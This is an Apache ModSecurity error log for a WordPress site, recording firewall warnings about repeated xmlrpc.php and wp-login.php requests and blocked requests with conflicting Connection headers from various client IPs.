[Sun Apr 19 12:22:36.391352 2026] [:error] [pid 15764:tid 15840] [client 20.119.213.163:38792] [client 20.119.213.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.119.213.163, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeRYjGLL_sqdSHoVp-RiEgAAAk4"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 19 12:43:24.632752 2026] [:error] [pid 47772:tid 47791] [client 182.42.104.32:40588] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeRdbIc0L16cb4smAz81xQAAAAI"]
[Sun Apr 19 12:59:40.012844 2026] [:error] [pid 15694:tid 15732] [client 43.130.31.17:48520] [client 43.130.31.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeRhPLimB-jol1fwqArhmgAAAYY"]
[Sun Apr 19 13:02:20.593750 2026] [:error] [pid 47772:tid 47811] [client 167.99.153.99:46360] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRh3Ic0L16cb4smAz85qAAAABY"]
[Sun Apr 19 13:45:52.409416 2026] [:error] [pid 47775:tid 47866] [client 68.183.124.132:44130] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeRsELmztjlk9tsmoezUHAAAAJc"]
[Sun Apr 19 14:20:00.066553 2026] [:error] [pid 47773:tid 47824] [client 115.73.221.158:30050] [client 115.73.221.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.73.221.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeR0EOiBHdnCJDuPq9D4-gAAAEg"]
[Sun Apr 19 14:20:11.869938 2026] [:error] [pid 15693:tid 15713] [client 115.73.221.158:49140] [client 115.73.221.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.73.221.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeR0G8NMD-ccazQlTsk6gQAAAVE"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 19 15:31:00.948947 2026] [:error] [pid 15765:tid 15852] [client 146.190.84.203:32954] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSEtPRqinw-W5EwQ77SPwAAAoA"]
[Sun Apr 19 16:54:33.760490 2026] [:error] [pid 15764:tid 15843] [client 185.228.133.113:57320] [client 185.228.133.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.228.133.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSYSWLL_sqdSHoVp-S4lAAAAlE"]
[Sun Apr 19 16:54:43.800310 2026] [:error] [pid 15764:tid 15837] [client 185.228.133.113:15732] [client 185.228.133.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.228.133.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSYU2LL_sqdSHoVp-S4qwAAAks"]
[Sun Apr 19 16:54:57.289220 2026] [:error] [pid 15763:tid 15809] [client 185.228.133.113:11964] [client 185.228.133.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.228.133.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSYYbMXv1Y1THOoxaC7NAAAAg0"]
[Sun Apr 19 16:55:04.730884 2026] [:error] [pid 47775:tid 47858] [client 185.228.133.113:11911] [client 185.228.133.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.228.133.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSYaLmztjlk9tsmoezr7QAAAI8"]
[Sun Apr 19 16:56:39.127497 2026] [:error] [pid 15765:tid 15873] [client 185.228.133.113:8338] [client 185.228.133.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.228.133.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSYx_Rqinw-W5EwQ77bNgAAApQ"]
[Sun Apr 19 17:08:39.924077 2026] [:error] [pid 15764:tid 15827] [client 91.99.203.142:52464] [client 91.99.203.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.99.203.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSbl2LL_sqdSHoVp-S89AAAAkE"]
[Sun Apr 19 17:22:51.376830 2026] [:error] [pid 15694:tid 15743] [client 172.98.33.188:38235] [client 172.98.33.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSe67imB-jol1fwqAr1EAAAAZE"]
[Sun Apr 19 17:23:01.645691 2026] [:error] [pid 47886:tid 47890] [client 45.132.115.212:26489] [client 45.132.115.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSe9USe8yiyuPrD7yNWxQAAAMI"]
[Sun Apr 19 17:23:12.012037 2026] [:error] [pid 15764:tid 15846] [client 45.132.115.207:51073] [client 45.132.115.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfAGLL_sqdSHoVp-TAcAAAAlQ"]
[Sun Apr 19 17:23:22.549305 2026] [:error] [pid 15765:tid 15875] [client 45.132.115.242:36739] [client 45.132.115.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfCvRqinw-W5EwQ77eBAAAApY"]
[Sun Apr 19 17:23:33.094876 2026] [:error] [pid 15760:tid 15788] [client 172.98.33.183:45413] [client 172.98.33.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfFfSdD_XHQMJ_ISu6KwAAAdQ"]
[Sun Apr 19 17:23:43.634482 2026] [:error] [pid 15763:tid 15818] [client 45.132.115.213:55173] [client 45.132.115.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfH7MXv1Y1THOoxaDAEQAAAhY"]
[Sun Apr 19 17:23:54.248527 2026] [:error] [pid 15764:tid 15851] [client 45.132.115.239:42337] [client 45.132.115.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfKmLL_sqdSHoVp-TAmgAAAlg"]
[Sun Apr 19 17:24:05.054657 2026] [:error] [pid 15760:tid 15788] [client 45.132.115.204:46813] [client 45.132.115.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfNfSdD_XHQMJ_ISu6dgAAAdQ"]
[Sun Apr 19 17:24:15.732882 2026] [:error] [pid 15764:tid 15844] [client 45.132.115.208:48763] [client 45.132.115.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfP2LL_sqdSHoVp-TA2AAAAlI"]
[Sun Apr 19 17:24:26.374026 2026] [:error] [pid 15763:tid 15801] [client 45.132.115.206:63247] [client 45.132.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfSrMXv1Y1THOoxaDAPAAAAgU"]
[Sun Apr 19 17:24:37.138049 2026] [:error] [pid 47886:tid 47896] [client 45.132.115.205:27371] [client 45.132.115.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfVUSe8yiyuPrD7yNW7QAAAMg"]
[Sun Apr 19 17:24:47.614465 2026] [:error] [pid 15693:tid 15715] [client 45.132.115.236:58339] [client 45.132.115.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfX8NMD-ccazQlTslFVAAAAVM"]
[Sun Apr 19 17:24:58.437076 2026] [:error] [pid 47772:tid 47791] [client 45.132.115.238:35469] [client 45.132.115.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfaoc0L16cb4smAz93DQAAAAI"]
[Sun Apr 19 17:25:09.183662 2026] [:error] [pid 47772:tid 47809] [client 45.132.115.234:25161] [client 45.132.115.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfdYc0L16cb4smAz93IAAAABQ"]
[Sun Apr 19 17:25:19.664617 2026] [:error] [pid 47775:tid 47849] [client 45.132.115.205:53849] [client 45.132.115.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSff7mztjlk9tsmoezv7gAAAIY"]
[Sun Apr 19 17:25:30.359886 2026] [:error] [pid 15694:tid 15725] [client 45.132.115.213:44733] [client 45.132.115.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfirimB-jol1fwqAr1SQAAAYI"]
[Sun Apr 19 17:25:40.903460 2026] [:error] [pid 15765:tid 15862] [client 45.132.115.238:29797] [client 45.132.115.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSflPRqinw-W5EwQ77eVQAAAok"]
[Sun Apr 19 17:25:51.402973 2026] [:error] [pid 15764:tid 15826] [client 45.132.115.235:39491] [client 45.132.115.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfn2LL_sqdSHoVp-TBPgAAAkA"]
[Sun Apr 19 17:26:02.026864 2026] [:error] [pid 15765:tid 15875] [client 172.98.33.183:55927] [client 172.98.33.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfqvRqinw-W5EwQ77eYQAAApY"]
[Sun Apr 19 17:26:12.631949 2026] [:error] [pid 15764:tid 15827] [client 45.132.115.211:26585] [client 45.132.115.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSftGLL_sqdSHoVp-TBiwAAAkE"]
[Sun Apr 19 17:26:23.091521 2026] [:error] [pid 15693:tid 15718] [client 172.98.33.188:60529] [client 172.98.33.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfv8NMD-ccazQlTslFigAAAVY"]
[Sun Apr 19 17:26:33.759678 2026] [:error] [pid 15760:tid 15774] [client 45.132.115.243:28835] [client 45.132.115.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSfyfSdD_XHQMJ_ISu7pQAAAcY"]
[Sun Apr 19 17:26:44.401647 2026] [:error] [pid 15764:tid 15841] [client 45.132.115.239:55339] [client 45.132.115.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSf1GLL_sqdSHoVp-TBzgAAAk8"]
[Sun Apr 19 17:26:54.977377 2026] [:error] [pid 47773:tid 47831] [client 172.98.33.181:34215] [client 172.98.33.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSf3uiBHdnCJDuPq9AVGAAAAE8"]
[Sun Apr 19 17:27:05.673163 2026] [:error] [pid 47775:tid 47859] [client 45.132.115.238:31883] [client 45.132.115.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSf6bmztjlk9tsmoezwEAAAAJA"]
[Sun Apr 19 17:27:16.268546 2026] [:error] [pid 15760:tid 15786] [client 45.132.115.211:58125] [client 45.132.115.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSf9PSdD_XHQMJ_ISu77gAAAdI"]
[Sun Apr 19 17:27:26.860184 2026] [:error] [pid 47775:tid 47857] [client 172.98.33.184:36179] [client 172.98.33.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSf_rmztjlk9tsmoezwIgAAAI4"]
[Sun Apr 19 17:27:37.324711 2026] [:error] [pid 15764:tid 15827] [client 45.132.115.212:47507] [client 45.132.115.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgCWLL_sqdSHoVp-TCFwAAAkE"]
[Sun Apr 19 17:27:48.039364 2026] [:error] [pid 47775:tid 47847] [client 45.132.115.206:28271] [client 45.132.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgFLmztjlk9tsmoezwRgAAAIQ"]
[Sun Apr 19 17:27:58.717249 2026] [:error] [pid 47772:tid 47805] [client 172.98.33.187:54183] [client 172.98.33.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgHoc0L16cb4smAz93ogAAABA"]
[Sun Apr 19 17:28:09.473287 2026] [:error] [pid 15764:tid 15850] [client 45.132.115.208:37801] [client 45.132.115.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgKWLL_sqdSHoVp-TCSgAAAlc"]
[Sun Apr 19 17:28:20.068179 2026] [:error] [pid 15760:tid 15786] [client 45.132.115.206:20469] [client 45.132.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgNPSdD_XHQMJ_ISu8UgAAAdI"]
[Sun Apr 19 17:28:30.500322 2026] [:error] [pid 15760:tid 15770] [client 172.98.33.181:48951] [client 172.98.33.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgPvSdD_XHQMJ_ISu8XgAAAcI"]
[Sun Apr 19 17:28:41.313184 2026] [:error] [pid 47775:tid 47861] [client 172.98.33.181:26113] [client 172.98.33.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgSbmztjlk9tsmoezwXwAAAJI"]
[Sun Apr 19 17:28:52.124660 2026] [:error] [pid 47772:tid 47809] [client 45.132.115.235:61701] [client 45.132.115.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgVIc0L16cb4smAz935wAAABQ"]
[Sun Apr 19 17:29:02.753380 2026] [:error] [pid 15764:tid 15831] [client 172.98.33.184:32325] [client 172.98.33.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgXmLL_sqdSHoVp-TCkwAAAkU"]
[Sun Apr 19 17:29:13.401965 2026] [:error] [pid 47772:tid 47789] [client 172.98.33.184:41309] [client 172.98.33.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgaYc0L16cb4smAz94FAAAAAA"]
[Sun Apr 19 17:29:34.715771 2026] [:error] [pid 15693:tid 15702] [client 45.132.115.213:32829] [client 45.132.115.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgfsNMD-ccazQlTslF1AAAAUY"]
[Sun Apr 19 17:29:45.157213 2026] [:error] [pid 15764:tid 15834] [client 45.132.115.208:30789] [client 45.132.115.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgiWLL_sqdSHoVp-TCwAAAAkg"]
[Sun Apr 19 17:29:55.828541 2026] [:error] [pid 15760:tid 15788] [client 45.132.115.242:60553] [client 45.132.115.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgk_SdD_XHQMJ_ISu85wAAAdQ"]
[Sun Apr 19 17:30:06.433640 2026] [:error] [pid 47772:tid 47791] [client 172.98.33.181:62033] [client 172.98.33.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgnoc0L16cb4smAz94cAAAAAI"]
[Sun Apr 19 17:30:17.252686 2026] [:error] [pid 15760:tid 15789] [client 45.132.115.235:35899] [client 45.132.115.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgqfSdD_XHQMJ_ISu9IAAAAdU"]
[Sun Apr 19 17:30:27.817246 2026] [:error] [pid 15760:tid 15773] [client 45.132.115.236:43125] [client 45.132.115.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgs_SdD_XHQMJ_ISu9TgAAAcU"]
